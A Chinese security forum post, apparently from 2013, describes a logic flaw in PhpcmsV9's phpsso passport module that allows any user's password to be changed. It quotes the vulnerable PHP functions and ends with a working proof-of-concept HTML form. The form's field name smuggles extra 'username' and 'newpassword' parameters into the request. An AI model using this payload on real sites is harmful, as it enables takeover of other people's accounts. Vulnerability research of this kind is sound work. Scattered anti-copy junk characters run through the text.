找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2058|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:/ B  F5 P6 Y4 J# E0 |

" l3 w% H: {  J+ p/ ]* H1 Q4 y
" k( @" `$ K! j) _4 f! tparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
+ Q# |- X2 J1 E; Z/ ^0 D
( G- v8 ^) V) Y4 g在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, K! L$ b& `0 V. z8 i0 L

# L7 D$ O% r' S) j8 u3 w我把它留给了你们。+ E% p  J7 G/ a
不知道你们发现了它没有。
9 W7 M1 O& C1 R: `/ K0 {9 o% p5 _1 D' _( S4 H* m; Q) g
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 C8 x, r2 v- o+ P# C" C$ \9 h$ G/ x% [7 k: P+ |2 v" B
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。: n2 V8 v6 j+ }/ ^3 F% M

8 K( e5 d, S' }/ m/ K: e也就是
" \3 W# U1 _- ]" `; ^& z- ^4 G0 [6 F, R0 w. [# @  ]- l' X( Z- a
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
' ^, V! H* h  `4 @, U7 ^
) t2 P; N7 v4 \: B! \要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。9 k, R  b$ k  J) K- d. I8 Z  K
* I* A% z( F0 c" v& f- J
9 x" I& d8 U( z
其实我们有这样的机会,看看代码,如下:
  O/ D: ^& Y+ p0 P
* x8 }8 x6 C3 q. C. ~5 d
, [" p( m4 V/ Q8 g, Vpublic function auth_data($data) {
' j$ F. g! T, S" s                $s = $sep = '';
8 e; S/ B+ Y1 F# S                foreach($data as $k => $v) {% n4 i- H: u" `& y
                        if(is_array($v)) {* k, I5 O3 `+ y9 P6 V- a
                                $s2 = $sep2 = '';* L! r+ ^( o; M" D' c$ O9 U
                                foreach($v as $k2 => $v2) {3 E/ L' g2 f2 S
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 ~2 R& `$ J2 I: C& ~: Y
                                        $sep2 = '&';7 i5 K; U# ~8 S" I! L
                                }
$ }4 P0 g. E9 e+ k                                $s .= $sep.$s2;! t8 V" p, h, U7 O3 I4 d/ A
                        } else {* D6 j5 G% H7 M2 H' k
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. B9 O& M- f0 a" }                        }
4 C3 u& f( E/ }' ^9 f( \: _                        $sep = '&';
4 F1 j  a. a% m- R                }$ Z4 y/ X4 b; _1 b! u+ ]8 `. R
3 ]. o5 @' Z/ f/ C  V
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));* A3 e% @. f! f+ C
                return $auth_s;8 n3 e+ E, x# ?# V* M7 m
        }: o2 c2 e( L7 ]! v' n
) Q1 P/ F, h# B5 J9 G: V2 V
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 n) K% W9 y( n1 d3 {
' L8 f7 f3 b4 O
举个例子
5 Q1 @/ N' z9 I7 {& J" v! |
' Z9 U9 X( K2 p+ ^7 Q$a[aaa=a&bbb] = 'a';7 M* X- `8 f- G; N

6 a6 R5 o7 V* Z  z5 k+ h& H会变成aaa=a&bbb=a
( d% M, k0 F7 q7 }
: B2 B( c3 }* x2 s( u  {明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
. a. k: \5 O' S" [! t6 V( h" |; j0 J4 s& \3 R1 l( M" Y& y0 K
这个时候,我们可以再去看一个函数。
; a( M. S, u& y' s8 y% |& n2 o. z
( ]" y! N' {) N9 N- H就在这个文件内:5 K) c, s- n$ ?6 \8 S+ }6 t0 j
5 A" l& G. g- I# x  n

# |! ^( f/ ]+ i! j. a8 D3 Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {9 V0 p! r, y) O0 p* Y! E* ]3 V
                if($email && !$this->_is_email($email)) {
8 a" M. b$ Z3 b- M; {                        return -4;
0 I1 O3 e. B# B( g                }
- R# g5 X% H+ {                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& g/ F1 U0 E  M" [$ n3 w* ~
        }
% F2 K, m" P* P; k. j; }6 i% R
$ y# Q+ ?# {: M这是向通行证发了这样一个请求。
/ ~# d% G2 _' E# V  N7 R3 v5 m5 A! x( O5 ~" C6 @
我们再跟到通信证代码里去看看,就会有所发现。
+ L' @4 u1 ?: k6 z0 y/ w. c
6 A% F) F. _3 Z& m1 x; _) x
& i# E3 M  d( l# X/ P$ epublic function edit() {$ }: i8 T$ ]# a7 A" ~, r
//能省就省,太长了不是吗?6 T5 A3 w- D: ]4 ^

8 w) M: Y/ X" K0 ^if($this->username) {7 Z# B. w( l! W" s# S7 G
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; W) ?. `/ z, h( ~  |
                                $res = $this->db->update($data, array('username'=>$this->username));* O- O6 n* M0 c) {9 k7 u
                        } else {
# s1 X' K$ H3 u7 n                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);( [5 \2 I4 {2 P( g
                                $res = $this->db->update($data, array('uid'=>$this->uid));% L- ~7 Z2 N0 I7 ~4 h9 |: `( q  Z
                        }
6 r0 L9 I1 m8 L  |  P/ u2 A
% V0 G+ d- _, [/ R1 K3 d好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
6 ]& I7 i4 ?- P3 A9 H7 t0 v7 W7 |( `& q
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')6 _7 D! V+ x% S  c
5 x& Z; Z% K" [5 p  d6 [' }
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
  y1 O8 B- F* ?
8 c5 z7 \" T" ]9 B我当然找到了:
. e+ f0 h8 t9 i, x5 Gphpcms9/phpcms/modules/member/index.php1 s( V! u" ]4 e* q

' P* J) y$ }/ X$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
  R( z' `: z* f2 T% v$ U
0 ]+ E2 }* p4 E# U0 j6 ^# d然后就没有然后了。2 a: `+ S8 Y$ F1 v( c

% t. |# M1 w% L/ Z3 b* h/ {- A0 W) N# s<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 ?- ^7 H  g5 |& s8 e; i
                                <table width="100%" cellspacing="0" class="table_form">
$ l' H5 L3 j( k6 h5 Y* A7 k                                        <tr>; t0 F' K. k% q  p" L7 ^6 r! ]
                                                <th width="80">邮箱:</th>        : b7 s( k/ ]& F8 J, X9 m
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
& y  g6 N5 Y9 h( K) Q. M! H                                        </tr>2 q: }" {8 h; }6 Y% ?( L' ^
                                        <tr>
7 `0 m: p8 O* p% {6 A                                                <th width="80">原密码:</th>        ( a" m; `: j+ N8 R$ X5 M
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' z) a$ z9 w3 v% y                                        </tr>- |* Y* L1 J# J9 P, F/ i
                                        <tr>
& O4 w' z2 }5 o2 }& R4 _                                                <th>新密码:</th>
" ?6 j/ f0 ]! {1 _6 U                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
' M! \: x& k# r$ E; y+ N1 Q                                        </tr>- f9 v# H& ?; \6 J& ]6 Y1 w- ~
                                        <th></th>6 X9 f. [1 L5 u
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>1 j! B& m6 @/ V9 a" x" u  m7 ?
                                        </tr>
! c$ C" `4 W9 h  O9 A                                </table>& V, ~  q' w- C- k) i$ v' X
  a! @; z( O# t
                               
; \3 s) T7 u5 ]- T5 p" z) G( ^% m# Q/ R                        </form>* g  o2 |; q; L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表